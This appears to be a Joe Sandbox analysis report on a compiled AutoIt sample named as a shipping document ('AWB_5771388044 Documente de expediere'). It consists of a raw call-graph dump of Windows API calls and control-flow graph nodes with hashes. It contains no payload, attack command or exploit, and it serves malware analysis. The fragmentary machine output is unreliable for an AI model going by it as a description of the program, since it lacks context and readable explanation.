95284->95385 95364 d21195 95285->95364 95288 d25edb 95289 d25ee6 __wwincmdln 95288->95289 95386 d2115b 47 API calls 3 library calls 95288->95386 95368 d03a0f 95289->95368 95292 d25efa 95293 d25f09 95292->95293 95387 d213f1 47 API calls _doexit 95292->95387 95388 d21186 47 API calls _doexit 95293->95388 95296 d25f0e __setmbcp 95298 d27f01 95297->95298 95298->95264 95299->95265 95389 d2123a 30 API calls 2 library calls 95300->95389 95302 d27b4c 95390 d27e23 InitializeCriticalSectionAndSpinCount 95302->95390 95304 d27b51 95305 d27b55 95304->95305 95392 d27e6d TlsAlloc 95304->95392 95391 d27bbd 50 API calls 2 library calls 95305->95391 95308 d27b5a 95308->95269 95309 d27b67 95309->95305 95310 d27b72 95309->95310 95393 d26986 95310->95393 95313 d27bb4 95401 d27bbd 50 API calls 2 library calls 95313->95401 95316 d27b93 95316->95313 95318 d27b99 95316->95318 95317 d27bb9 95317->95269 95400 d27a94 47 API calls 4 library calls 95318->95400 95320 d27ba1 GetCurrentThreadId 95320->95269 95322 d2acbf __setmbcp 95321->95322 95323 d27cf4 __lock 47 API calls 95322->95323 95324 d2acc6 95323->95324 95325 d26986 __calloc_crt 47 API calls 95324->95325 95327 d2acd7 95325->95327 95326 d2ad42 GetStartupInfoW 95331 d2ad57 95326->95331 95332 d2ae80 95326->95332 95327->95326 95328 d2ace2 @_EH4_CallFilterFunc@8 __setmbcp 95327->95328 95328->95273 95329 d2af44 95410 d2af58 LeaveCriticalSection _doexit 95329->95410 95331->95332 95334 d26986 __calloc_crt 47 API calls 95331->95334 95336 d2ada5 95331->95336 95332->95329 95333 d2aec9 GetStdHandle 95332->95333 95335 d2aedb GetFileType 95332->95335 95337 d2af08 InitializeCriticalSectionAndSpinCount 95332->95337 95333->95332 95334->95331 95335->95332 95336->95332 95338 d2add7 GetFileType 95336->95338 95339 d2ade5 InitializeCriticalSectionAndSpinCount 95336->95339 95337->95332 95338->95336 95338->95339 95339->95336 95341 d25ead 95340->95341 95342 d32e8e 95340->95342 95346 d32a7b GetModuleFileNameW 95341->95346 95343 d269d0 __malloc_crt 47 API calls 95342->95343 95344 d32eb4 _memcpy_s 95343->95344 95345 d32eca FreeEnvironmentStringsW 95344->95345 95345->95341 95348 d32aaf _wparse_cmdline 95346->95348 95347 d32aef _wparse_cmdline 95347->95280 95348->95347 95349 d269d0 __malloc_crt 47 API calls 95348->95349 95349->95347 95351 d32ccd __wsetenvp 95350->95351 95352 d32cc5 95350->95352 95353 d26986 __calloc_crt 47 API calls 95351->95353 95352->95284 95356 d32cf6 __wsetenvp 95353->95356 95354 d32d4d 95355 d21c9d _free 47 API calls 95354->95355 95355->95352 95356->95352 95356->95354 95357 d26986 __calloc_crt 47 API calls 95356->95357 95358 d32d72 95356->95358 95361 d32d89 95356->95361 95411 d32567 47 API calls 2 library calls 95356->95411 95357->95356 95360 d21c9d _free 47 API calls 95358->95360 95360->95352 95412 d26e20 IsProcessorFeaturePresent 95361->95412 95363 d32d95 95363->95284 95365 d211a1 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 95364->95365 95367 d211e0 __IsNonwritableInCurrentImage 95365->95367 95427 d20f0a 52 API calls __cinit 95365->95427 95367->95288 95369 d71ebf 95368->95369 95370 d03a29 95368->95370 95371 d03a63 IsThemeActive 95370->95371 95428 d21405 95371->95428 95375 d03a8f 95440 d03adb SystemParametersInfoW SystemParametersInfoW 95375->95440 95377 d03a9b 95441 d03d19 95377->95441 95379 d03aa3 SystemParametersInfoW 95380 d03ac8 95379->95380 95380->95292 95381->95266 95382->95270 95383->95277 95387->95293 95388->95296 95389->95302 95390->95304 95391->95308 95392->95309 95395 d2698d 95393->95395 95396 d269ca 95395->95396 95397 d269ab Sleep 95395->95397 95402 d330aa 95395->95402 95396->95313 95399 d27ec9 TlsSetValue 95396->95399 95398 d269c2 95397->95398 95398->95395 95398->95396 95399->95316 95400->95320 95401->95317 95403 d330b5 95402->95403 95408 d330d0 __calloc_impl 95402->95408 95404 d330c1 95403->95404 95403->95408 95409 d27c0e 47 API calls __getptd_noexit 95404->95409 95406 d330e0 HeapAlloc 95407 d330c6 95406->95407 95406->95408 95407->95395 95408->95406 95408->95407 95409->95407 95410->95328 95411->95356 95413 d26e2b 95412->95413 95418 d26cb5 95413->95418 95417 d26e46 95417->95363 95419 d26ccf _memset ___raise_securityfailure 95418->95419 95420 d26cef IsDebuggerPresent 95419->95420 95426 d281ac SetUnhandledExceptionFilter UnhandledExceptionFilter 95420->95426 95422 d2a70c __atodbl_l 6 API calls 95424 d26dd6 95422->95424 95423 d26db3 ___raise_securityfailure 95423->95422 95425 d28197 GetCurrentProcess TerminateProcess 95424->95425 95425->95417 95426->95423 95427->95367 95429 d27cf4 __lock 47 API calls 95428->95429 95430 d21410 95429->95430 95493 d27e58 LeaveCriticalSection 95430->95493 95432 d03a88 95433 d2146d 95432->95433 95434 d21491 95433->95434 95435 d21477 95433->95435 95434->95375 95435->95434 95494 d27c0e 47 API calls __getptd_noexit 95435->95494 95437 d21481 95495 d26e10 8 API calls __controlfp_s 95437->95495 95439 d2148c 95439->95375 95440->95377 95442 d03d26 __ftell_nolock 95441->95442 95443 d0d7f7 48 API calls 95442->95443 95444 d03d31 GetCurrentDirectoryW 95443->95444 95496 d061ca 95444->95496 95446 d03d57 IsDebuggerPresent 95447 d03d65 95446->95447 95448 d71cc1 MessageBoxA 95446->95448 95449 d03e3a 95447->95449 95451 d71cd9 95447->95451 95452 d03d82 95447->95452 95448->95451 95450 d03e41 SetCurrentDirectoryW 95449->95450 95453 d03e4e Mailbox 95450->95453 95672 d1c682 48 API calls 95451->95672 95570 d040e5 95452->95570 95453->95379 95456 d71ce9 95461 d71cff SetCurrentDirectoryW 95456->95461 95458 d03da0 GetFullPathNameW 95459 d06a63 48 API calls 95458->95459 95460 d03ddb 95459->95460 95586 d06430 95460->95586 95461->95453 95464 d03df6 95465 d03e00 95464->95465 95673 d471fa AllocateAndInitializeSid CheckTokenMembership FreeSid 95464->95673 95602 d03e6e GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 95465->95602 95468 d71d1c 95468->95465 95471 d71d2d 95468->95471 95473 d05374 50 API calls 95471->95473 95472 d03e0a 95474 d03e1f 95472->95474 95476 d04ffc 67 API calls 95472->95476 95475 d71d35 95473->95475 95610 d0e8d0 95474->95610 95478 d0ce19 48 API calls 95475->95478 95476->95474 95480 d71d42 95478->95480 95482 d71d6e 95480->95482 95483 d71d49 95480->95483 95484 d0518c 48 API calls 95482->95484 95485 d0518c 48 API calls 95483->95485 95486 d71d6a GetForegroundWindow ShellExecuteW 95484->95486 95487 d71d54 95485->95487 95490 d71d9e Mailbox 95486->95490 95489 d0510d 48 API calls 95487->95489 95491 d71d61 95489->95491 95490->95449 95492 d0518c 48 API calls 95491->95492 95492->95486 95493->95432 95494->95437 95495->95439 95674 d1e99b 95496->95674 95500 d061eb 95501 d05374 50 API calls 95500->95501 95502 d061ff 95501->95502 95503 d0ce19 48 API calls 95502->95503 95504 d0620c 95503->95504 95691 d039db 95504->95691 95506 d06216 Mailbox 95507 d06eed 48 API calls 95506->95507 95508 d0622b 95507->95508 95703 d09048 95508->95703 95511 d0ce19 48 API calls 95512 d06244 95511->95512 95706 d0d6e9 95512->95706 95514 d06254 Mailbox 95515 d0ce19 48 API calls 95514->95515 95516 d0627c 95515->95516 95517 d0d6e9 55 API calls 95516->95517 95518 d0628f Mailbox 95517->95518 95519 d0ce19 48 API calls 95518->95519 95520 d062a0 95519->95520 95521 d0d645 53 API calls 95520->95521 95522 d062b2 Mailbox 95521->95522 95523 d0d7f7 48 API calls 95522->95523 95524 d062c5 95523->95524 95710 d063fc 95524->95710 95528 d062df 95529 d062e9 95528->95529 95530 d71c08 95528->95530 95531 d20fa7 _W_store_winword 59 API calls 95529->95531 95532 d063fc 48 API calls 95530->95532 95533 d062f4 95531->95533 95534 d71c1c 95532->95534 95533->95534 95535 d062fe 95533->95535 95536 d063fc 48 API calls 95534->95536 95537 d20fa7 _W_store_winword 59 API calls 95535->95537 95538 d71c38 95536->95538 95539 d06309 95537->95539 95541 d05374 50 API calls 95538->95541 95539->95538 95540 d06313 95539->95540 95542 d20fa7 _W_store_winword 59 API calls 95540->95542 95543 d71c5d 95541->95543 95544 d0631e 95542->95544 95545 d063fc 48 API calls 95543->95545 95546 d0635f 95544->95546 95548 d71c86 95544->95548 95550 d063fc 48 API calls 95544->95550 95549 d71c69 95545->95549 95547 d0636c 95546->95547 95546->95548 95555 d1c050 48 API calls 95547->95555 95551 d06eed 48 API calls 95548->95551 95552 d06eed 48 API calls 95549->95552 95553 d06342 95550->95553 95554 d71ca8 95551->95554 95556 d71c77 95552->95556 95557 d06eed 48 API calls 95553->95557 95558 d063fc 48 API calls 95554->95558 95559 d06384 95555->95559 95560 d063fc 48 API calls 95556->95560 95561 d06350 95557->95561 95562 d71cb5 95558->95562 95563 d11b90 48 API calls 95559->95563 95560->95548 95564 d063fc 48 API calls 95561->95564 95562->95562 95567 d06394 95563->95567 95564->95546 95565 d11b90 48 API calls 95565->95567 95567->95565 95568 d063fc 48 API calls 95567->95568 95569 d063d6 Mailbox 95567->95569 95726 d06b68 48 API calls 95567->95726 95568->95567 95569->95446 95571 d040f2 __ftell_nolock 95570->95571 95572 d7370e _memset 95571->95572 95573 d0410b 95571->95573 95575 d7372a GetOpenFileNameW 95572->95575 95574 d0660f 49 API calls 95573->95574 95576 d04114 95574->95576 95577 d73779 95575->95577 95770 d040a7 95576->95770 95579 d06a63 48 API calls 95577->95579 95581 d7378e 95579->95581 95581->95581 95583 d04129 95788 d04139 95583->95788 95587 d0643d __ftell_nolock 95586->95587 95961 d04c75 95587->95961 95589 d06442 95601 d03dee 95589->95601 95972 d05928 86 API calls 95589->95972 95591 d0644f 95591->95601 95973 d05798 88 API calls Mailbox 95591->95973 95593 d06458 95594 d0645c GetFullPathNameW 95593->95594 95593->95601 95595 d06a63 48 API calls 95594->95595 95596 d06488 95595->95596 95597 d06a63 48 API calls 95596->95597 95598 d06495 95597->95598 95599 d75dcf _wcscat 95598->95599 95600 d06a63 48 API calls 95598->95600 95600->95601 95601->95456 95601->95464 95603 d03ed8 95602->95603 95604 d71cba 95602->95604 95975 d04024 95603->95975 95608 d03e05 95609 d036b8 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 95608->95609 95609->95472 95611 d0e8f6 95610->95611 95634 d0e906 Mailbox 95610->95634 95612 d0ed52 95611->95612 95611->95634 95613 d4cc5c 86 API calls 95613->95634 95614 d0ebc7 95620 d0e94c PeekMessageW 95620->95634 95623 d7526e Sleep 95623->95634 95629 d0ed21 PeekMessageW 95629->95634 95630 d0ebf7 timeGetTime 95630->95634 95632 d1f4ea 48 API calls 95632->95634 95633 d06eed 48 API calls 95633->95634 95634->95613 95634->95614 95634->95620 95634->95623 95634->95629 95634->95630 95634->95632 95634->95633 95635 d0ed3a TranslateMessage DispatchMessageW 95634->95635 95636 d75557 WaitForSingleObject 95634->95636 95639 d7588f Sleep 95634->95639 95640 d75429 Mailbox 95634->95640 95641 d0edae timeGetTime 95634->95641 95642 d75733 Sleep 95634->95642 95648 d02aae 311 API calls 95634->95648 95650 d75445 Sleep 95634->95650 95658 d01caa 49 API calls 95634->95658 95663 d0fe30 311 API calls 95634->95663 95665 d145e0 311 API calls 95634->95665 95669 d0ce19 48 API calls 95634->95669 95670 d0d6e9 55 API calls 95634->95670 95980 d0f110 95634->95980 96045 d0eed0 335 API calls Mailbox 95634->96045 96046 d0ef00 335 API calls 95634->96046 96047 d13200 335 API calls 2 library calls 95634->96047 96048 d1e244 TranslateAcceleratorW 95634->96048 96049 d1dc5f IsDialogMessageW GetClassLongW 95634->96049 96054 d68d23 48 API calls 95634->96054 95635->95629 95636->95634 95637 d75574 GetExitCodeProcess CloseHandle 95636->95637 95637->95634 95639->95640 95640->95634 95649 d1dc38 timeGetTime 95640->95649 95640->95650 95653 d75432 Sleep 95640->95653 95655 d02c79 107 API calls 95640->95655 96053 d01caa 49 API calls 95641->96053 95642->95640 95648->95634 95649->95640 95650->95634 95653->95650 95655->95640 95658->95634 95663->95634 95665->95634 95669->95634 95670->95634 95672->95456 95673->95468 95675 d0d7f7 48 API calls 95674->95675 95676 d061db 95675->95676 95677 d06009 95676->95677 95678 d06016 __ftell_nolock 95677->95678 95679 d06a63 48 API calls 95678->95679 95684 d0617c Mailbox 95678->95684 95681 d06048 95679->95681 95690 d0607e Mailbox 95681->95690 95727 d061a6 95681->95727 95682 d061a6 48 API calls 95682->95690 95683 d0614f 95683->95684 95685 d0ce19 48 API calls 95683->95685 95684->95500 95687 d06170 95685->95687 95686 d0ce19 48 API calls 95686->95690 95688 d064cf 48 API calls 95687->95688 95688->95684 95689 d064cf 48 API calls 95689->95690 95690->95682 95690->95683 95690->95684 95690->95686 95690->95689 95692 d041a9 136 API calls 95691->95692 95693 d039fe 95692->95693 95694 d03a06 95693->95694 95730 d4c396 95693->95730 95694->95506 95697 d72ff0 95699 d21c9d _free 47 API calls 95697->95699 95698 d04252 84 API calls 95698->95697 95700 d72ffd 95699->95700 95701 d04252 84 API calls 95700->95701 95702 d73006 95701->95702 95702->95702 95704 d1f4ea 48 API calls 95703->95704 95705 d06237 95704->95705 95705->95511 95707 d0d6f4 95706->95707 95708 d0d71b 95707->95708 95766 d0d764 55 API calls 95707->95766 95708->95514 95711 d06406 95710->95711 95712 d0641f 95710->95712 95713 d06eed 48 API calls 95711->95713 95714 d06a63 48 API calls 95712->95714 95715 d062d1 95713->95715 95714->95715 95716 d20fa7 95715->95716 95717 d20fb3 95716->95717 95718 d21028 95716->95718 95725 d20fd8 95717->95725 95767 d27c0e 47 API calls __getptd_noexit 95717->95767 95769 d2103a 59 API calls 4 library calls 95718->95769 95721 d21035 95721->95528 95722 d20fbf 95768 d26e10 8 API calls __controlfp_s 95722->95768 95724 d20fca 95724->95528 95725->95528 95726->95567 95728 d0bdfa 48 API calls 95727->95728 95729 d061b1 95728->95729 95729->95681 95731 d04517 83 API calls 95730->95731 95732 d4c405 95731->95732 95733 d4c56d 94 API calls 95732->95733 95734 d4c417 95733->95734 95735 d044ed 64 API calls 95734->95735 95763 d4c41b 95734->95763 95736 d4c432 95735->95736 95737 d044ed 64 API calls 95736->95737 95738 d4c442 95737->95738 95739 d044ed 64 API calls 95738->95739 95740 d4c45d 95739->95740 95741 d044ed 64 API calls 95740->95741 95742 d4c478 95741->95742 95743 d04517 83 API calls 95742->95743 95744 d4c48f 95743->95744 95745 d2395c __malloc_crt 47 API calls 95744->95745 95746 d4c496 95745->95746 95747 d2395c __malloc_crt 47 API calls 95746->95747 95748 d4c4a0 95747->95748 95749 d044ed 64 API calls 95748->95749 95750 d4c4b4 95749->95750 95751 d4bf5a GetSystemTimeAsFileTime 95750->95751 95752 d4c4c7 95751->95752 95753 d4c4f1 95752->95753 95754 d4c4dc 95752->95754 95756 d4c556 95753->95756 95757 d4c4f7 95753->95757 95755 d21c9d _free 47 API calls 95754->95755 95758 d4c4e2 95755->95758 95760 d21c9d _free 47 API calls 95756->95760 95765 d4b965 118 API calls __fcloseall 95757->95765 95761 d21c9d _free 47 API calls 95758->95761 95760->95763 95761->95763 95762 d4c54e 95764 d21c9d _free 47 API calls 95762->95764 95763->95697 95763->95698 95764->95763 95765->95762 95766->95708 95767->95722 95768->95724 95769->95721 95771 d2f8a0 __ftell_nolock 95770->95771 95772 d040b4 GetLongPathNameW 95771->95772 95773 d06a63 48 API calls 95772->95773 95774 d040dc 95773->95774 95775 d049a0 95774->95775 95776 d0d7f7 48 API calls 95775->95776 95777 d049b2 95776->95777 95778 d0660f 49 API calls 95777->95778 95779 d049bd 95778->95779 95780 d049c8 95779->95780 95783 d72e35 95779->95783 95782 d064cf 48 API calls 95780->95782 95784 d049d4 95782->95784 95785 d72e4f 95783->95785 95828 d1d35e 60 API calls 95783->95828 95822 d028a6 95784->95822 95787 d049e7 Mailbox 95787->95583 95789 d041a9 136 API calls 95788->95789 95790 d0415e 95789->95790 95791 d73489 95790->95791 95793 d041a9 136 API calls 95790->95793 95792 d4c396 122 API calls 95791->95792 95794 d7349e 95792->95794 95795 d04172 95793->95795 95796 d734a2 95794->95796 95797 d734bf 95794->95797 95795->95791 95798 d0417a 95795->95798 95801 d04252 84 API calls 95796->95801 95802 d1f4ea 48 API calls 95797->95802 95799 d04186 95798->95799 95800 d734aa 95798->95800 95829 d0c833 95799->95829 95923 d46b49 87 API calls _wprintf 95800->95923 95801->95800 95818 d73504 Mailbox 95802->95818 95806 d734b8 95806->95797 95807 d736b4 95808 d21c9d _free 47 API calls 95807->95808 95809 d736bc 95808->95809 95810 d04252 84 API calls 95809->95810 95815 d736c5 95810->95815 95811 d0ba85 48 API calls 95811->95818 95814 d21c9d _free 47 API calls 95814->95815 95815->95814 95816 d04252 84 API calls 95815->95816 95927 d425b5 86 API calls 4 library calls 95815->95927 95816->95815 95818->95807 95818->95811 95818->95815 95819 d0ce19 48 API calls 95818->95819 95917 d04dd9 95818->95917 95924 d42551 48 API calls _memcpy_s 95818->95924 95925 d42472 60 API calls 2 library calls 95818->95925 95926 d49c12 48 API calls 95818->95926 95819->95818 95823 d028b8 95822->95823 95827 d028d7 _memcpy_s 95822->95827 95825 d1f4ea 48 API calls 95823->95825 95824 d1f4ea 48 API calls 95826 d028ee 95824->95826 95825->95827 95826->95787 95827->95824 95828->95783 95830 d0c843 __ftell_nolock 95829->95830 95831 d0c860 95830->95831 95832 d73095 95830->95832 95933 d048ba 49 API calls 95831->95933 95949 d425b5 86 API calls 4 library calls 95832->95949 95835 d730a8 95950 d425b5 86 API calls 4 library calls 95835->95950 95836 d0c882 95934 d04550 56 API calls 95836->95934 95838 d0c897 95838->95835 95839 d0c89f 95838->95839 95841 d0d7f7 48 API calls 95839->95841 95843 d0c8ab 95841->95843 95842 d730c4 95845 d0c90c 95842->95845 95935 d1e968 49 API calls __ftell_nolock 95843->95935 95846 d730d7 95845->95846 95847 d0c91a 95845->95847 95849 d04907 CloseHandle 95846->95849 95851 d21dfc __wsplitpath 47 API calls 95847->95851 95848 d0c8b7 95850 d0d7f7 48 API calls 95848->95850 95852 d730e3 95849->95852 95853 d0c8c3 95850->95853 95858 d0c943 _wcscat _wcscpy 95851->95858 95854 d041a9 136 API calls 95852->95854 95855 d0660f 49 API calls 95853->95855 95856 d7310d 95854->95856 95857 d0c8d1 95855->95857 95859 d73136 95856->95859 95862 d4c396 122 API calls 95856->95862 95936 d1eb66 SetFilePointerEx ReadFile 95857->95936 95861 d0c96d SetCurrentDirectoryW 95858->95861 95951 d425b5 86 API calls 4 library calls 95859->95951 95865 d1f4ea 48 API calls 95861->95865 95866 d73129 95862->95866 95863 d0c8fd 95937 d046ce SetFilePointerEx SetFilePointerEx 95863->95937 95869 d0c988 95865->95869 95870 d73152 95866->95870 95871 d73131 95866->95871 95868 d7314d 95899 d0cad1 Mailbox 95868->95899 95872 d047b7 48 API calls 95869->95872 95874 d04252 84 API calls 95870->95874 95873 d04252 84 API calls 95871->95873 95904 d0c993 Mailbox __wsetenvp 95872->95904 95873->95859 95875 d73157 95874->95875 95876 d1f4ea 48 API calls 95875->95876 95883 d73194 95876->95883 95877 d0ca9d 95945 d04907 95877->95945 95881 d03d98 95881->95449 95881->95458 95882 d0caa9 SetCurrentDirectoryW 95882->95899 95885 d0ba85 48 API calls 95883->95885 95914 d731dd Mailbox 95885->95914 95887 d733ce 95956 d49b72 48 API calls 95887->95956 95888 d73467 95960 d425b5 86 API calls 4 library calls 95888->95960 95891 d73480 95891->95877 95893 d733f0 95957 d629e8 48 API calls _memcpy_s 95893->95957 95895 d733fd 95898 d21c9d _free 47 API calls 95895->95898 95897 d7345f 95959 d4240b 48 API calls 3 library calls 95897->95959 95898->95899 95928 d048dd 95899->95928 95900 d0ce19 48 API calls 95900->95904 95902 d0ba85 48 API calls 95902->95914 95904->95877 95904->95888 95904->95897 95904->95900 95938 d0b337 56 API calls _wcscpy 95904->95938 95939 d1c258 GetStringTypeW 95904->95939 95940 d0cb93 59 API calls __wcsnicmp 95904->95940 95941 d0cb5a GetStringTypeW __wsetenvp 95904->95941 95942 d216d0 GetStringTypeW __towlower_l 95904->95942 95943 d0cc24 162 API calls 3 library calls 95904->95943 95944 d1c682 48 API calls 95904->95944 95908 d0ce19 48 API calls 95908->95914 95911 d73420 95958 d425b5 86 API calls 4 library calls 95911->95958 95913 d73439 95915 d21c9d _free 47 API calls 95913->95915 95914->95887 95914->95902 95914->95908 95914->95911 95952 d42551 48 API calls _memcpy_s 95914->95952 95953 d42472 60 API calls 2 library calls 95914->95953 95954 d49c12 48 API calls 95914->95954 95955 d1c682 48 API calls 95914->95955 95916 d7344c 95915->95916 95916->95899 95918 d04dec 95917->95918 95921 d04e9a 95917->95921 95920 d1f4ea 48 API calls 95918->95920 95922 d04e1e 95918->95922 95919 d1f4ea 48 API calls 95919->95922 95920->95922 95921->95818 95922->95919 95922->95921 95923->95806 95924->95818 95925->95818 95926->95818 95927->95815 95929 d04907 CloseHandle 95928->95929 95930 d048e5 Mailbox 95929->95930 95931 d04907 CloseHandle 95930->95931 95932 d048fc 95931->95932 95932->95881 95933->95836 95934->95838 95935->95848 95936->95863 95937->95845 95938->95904 95939->95904 95940->95904 95941->95904 95942->95904 95943->95904 95944->95904 95946 d04920 95945->95946 95947 d04911 95945->95947 95946->95947 95948 d04925 CloseHandle 95946->95948 95947->95882 95948->95947 95949->95835 95950->95842 95951->95868 95952->95914 95953->95914 95954->95914 95955->95914 95956->95893 95957->95895 95958->95913 95959->95888 95960->95891 95962 d04c8b 95961->95962 95968 d04d94 95961->95968 95963 d1f4ea 48 API calls 95962->95963 95962->95968 95964 d04cb2 95963->95964 95965 d1f4ea 48 API calls 95964->95965 95966 d04d22 95965->95966 95967 d0b470 91 API calls 95966->95967 95966->95968 95970 d04dd9 48 API calls 95966->95970 95971 d0ba85 48 API calls 95966->95971 95974 d49af1 48 API calls 95966->95974 95967->95966 95968->95589 95970->95966 95971->95966 95972->95591 95973->95593 95974->95966 95976 d7418d EnumResourceNamesW 95975->95976 95977 d0403c LoadImageW 95975->95977 95978 d03ee1 RegisterClassExW 95976->95978 95977->95978 95979 d03f53 7 API calls 95978->95979 95979->95608 96045->95634 96046->95634 96047->95634 96048->95634 96049->95634 96053->95634 96054->95634

                                                Executed Functions

                                                Function 00D2B043 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 643 d2b043-d2b080 call d2f8a0 646 d2b082-d2b084 643->646 647 d2b089-d2b08b 643->647 648 d2b860-d2b86c call d2a70c 646->648 649 d2b0ac-d2b0d9 647->649 650 d2b08d-d2b0a7 call d27bda call d27c0e call d26e10 647->650 653 d2b0e0-d2b0e7 649->653 654 d2b0db-d2b0de 649->654 650->648 658 d2b105 653->658 659 d2b0e9-d2b100 call d27bda call d27c0e call d26e10 653->659 654->653 657 d2b10b-d2b110 654->657 661 d2b112-d2b11c call d2f82f 657->661 662 d2b11f-d2b12d call d33bf2 657->662 658->657 689 d2b851-d2b854 659->689 661->662 674 d2b133-d2b145 662->674 675 d2b44b-d2b45d 662->675 674->675 679 d2b14b-d2b183 call d27a0d GetConsoleMode 674->679 676 d2b463-d2b473 675->676 677 d2b7b8-d2b7d5 WriteFile 675->677 680 d2b55a-d2b55f 676->680 681 d2b479-d2b484 676->681 683 d2b7e1-d2b7e7 GetLastError 677->683 684 d2b7d7-d2b7df 677->684 679->675 693 d2b189-d2b18f 679->693 691 d2b663-d2b66e 680->691 692 d2b565-d2b56e 680->692 687 d2b48a-d2b49a 681->687 688 d2b81b-d2b833 681->688 690 d2b7e9 683->690 684->690 694 d2b4a0-d2b4a3 687->694 695 d2b835-d2b838 688->695 696 d2b83e-d2b84e call d27c0e call d27bda 688->696 700 d2b85e-d2b85f 689->700 698 d2b7ef-d2b7f1 690->698 691->688 697 d2b674 691->697 692->688 699 d2b574 692->699 701 d2b191-d2b193 693->701 702 d2b199-d2b1bc GetConsoleCP 693->702 703 d2b4a5-d2b4be 694->703 704 d2b4e9-d2b520 WriteFile 694->704 695->696 705 d2b83a-d2b83c 695->705 696->689 706 d2b67e-d2b693 697->706 708 d2b7f3-d2b7f5 698->708 709 d2b856-d2b85c 698->709 710 d2b57e-d2b595 699->710 700->648 701->675 701->702 711 d2b1c2-d2b1ca 702->711 712 d2b440-d2b446 702->712 713 d2b4c0-d2b4ca 703->713 714 d2b4cb-d2b4e7 703->714 704->683 715 d2b526-d2b538 704->715 705->700 716 d2b699-d2b69b 706->716 708->688 718 d2b7f7-d2b7fc 708->718 709->700 719 d2b59b-d2b59e 710->719 722 d2b1d4-d2b1d6 711->722 712->708 713->714 714->694 714->704 715->698 723 d2b53e-d2b54f 715->723 724 d2b6d8-d2b719 WideCharToMultiByte 716->724 725 d2b69d-d2b6b3 716->725 727 d2b812-d2b819 call d27bed 718->727 728 d2b7fe-d2b810 call d27c0e call d27bda 718->728 720 d2b5a0-d2b5b6 719->720 721 d2b5de-d2b627 WriteFile 719->721 729 d2b5b8-d2b5ca 720->729 730 d2b5cd-d2b5dc 720->730 721->683 731 d2b62d-d2b645 721->731 733 d2b36b-d2b36e 722->733 734 d2b1dc-d2b1fe 722->734 723->687 735 d2b555 723->735 724->683 739 d2b71f-d2b721 724->739 736 d2b6c7-d2b6d6 725->736 737 d2b6b5-d2b6c4 725->737 727->689 728->689 729->730 730->719 730->721 731->698 743 d2b64b-d2b658 731->743 747 d2b370-d2b373 733->747 748 d2b375-d2b3a2 733->748 745 d2b200-d2b215 734->745 746 d2b217-d2b223 call d21688 734->746 735->698 736->716 736->724 737->736 741 d2b727-d2b75a WriteFile 739->741 749 d2b77a-d2b78e GetLastError 741->749 750 d2b75c-d2b776 741->750 743->710 752 d2b65e 743->752 753 d2b271-d2b283 call d340f7 745->753 767 d2b225-d2b239 746->767 768 d2b269-d2b26b 746->768 747->748 755 d2b3a8-d2b3ab 747->755 748->755 761 d2b794-d2b796 749->761 750->741 758 d2b778 750->758 752->698 770 d2b435-d2b43b 753->770 771 d2b289 753->771 756 d2b3b2-d2b3c5 call d35884 755->756 757 d2b3ad-d2b3b0 755->757 756->683 776 d2b3cb-d2b3d5 756->776 757->756 763 d2b407-d2b40a 757->763 758->761 761->690 766 d2b798-d2b7b0 761->766 763->722 773 d2b410 763->773 766->706 772 d2b7b6 766->772 774 d2b412-d2b42d 767->774 775 d2b23f-d2b254 call d340f7 767->775 768->753 770->690 777 d2b28f-d2b2c4 WideCharToMultiByte 771->777 772->698 773->770 774->770 775->770 785 d2b25a-d2b267 775->785 779 d2b3d7-d2b3ee call d35884 776->779 780 d2b3fb-d2b401 776->780 777->770 781 d2b2ca-d2b2f0 WriteFile 777->781 779->683 788 d2b3f4-d2b3f5 779->788 780->763 781->683 784 d2b2f6-d2b30e 781->784 784->770 787 d2b314-d2b31b 784->787 785->777 787->780 789 d2b321-d2b34c WriteFile 787->789 788->780 789->683 790 d2b352-d2b359 789->790 790->770 791 d2b35f-d2b366 790->791 791->780
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: f41954038894668859d3667160f44a911f01e05246fe1485437da6e10595d92d
                                                • Instruction ID: df9ae6205e9f5e9ad45144634f6794d86d8b11f3a55e02d667dc1ffdfffc3891
                                                • Opcode Fuzzy Hash: f41954038894668859d3667160f44a911f01e05246fe1485437da6e10595d92d
                                                • Instruction Fuzzy Hash: 3B325175A012298FCB24DF54EC816E9B7B5FF56324F1840DAE40AE7A81D7709D81CF62
                                                Function 00D03D19 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00D03AA3,?), ref: 00D03D45
                                                • IsDebuggerPresent.KERNEL32(?,?,?,?,00D03AA3,?), ref: 00D03D57
                                                • GetFullPathNameW.KERNEL32(00007FFF,?,?,00DC1148,00DC1130,?,?,?,?,00D03AA3,?), ref: 00D03DC8
                                                  • Part of subcall function 00D06430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00D03DEE,00DC1148,?,?,?,?,?,00D03AA3,?), ref: 00D06471
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,00D03AA3,?), ref: 00D03E48
                                                • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00DB28F4,00000010), ref: 00D71CCE
                                                • SetCurrentDirectoryW.KERNEL32(?,00DC1148,?,?,?,?,?,00D03AA3,?), ref: 00D71D06
